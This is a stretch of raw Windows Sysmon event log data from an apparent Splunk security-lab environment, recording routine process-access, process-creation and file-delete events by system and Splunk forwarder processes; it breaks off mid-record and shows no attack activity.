15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018571Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018570Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018569Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018568Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018567Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018566Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018565Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018564Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018563Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-756B-613B-5005-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018562Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.600{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-756B-613B-5005-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018561Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.601{625C326B-756B-613B-5005-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000018560Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.350{625C326B-756B-613B-4F05-00000000F101}39003880C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000018559Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.304{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16014D1E27F563578E67020F507CED29,SHA256=DF901137208AE8F5B0D663893BE6BFC8646234933A38A8A185B3E2F577BAED01,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018558Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-756B-613B-4F05-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018557Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018556Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018555Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018554Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018553Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018552Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018551Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018550Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018549Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018548Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-756B-613B-4F05-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018547Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.100{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-756B-613B-4F05-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018546Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:35.101{625C326B-756B-613B-4F05-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000057853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:36.695{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 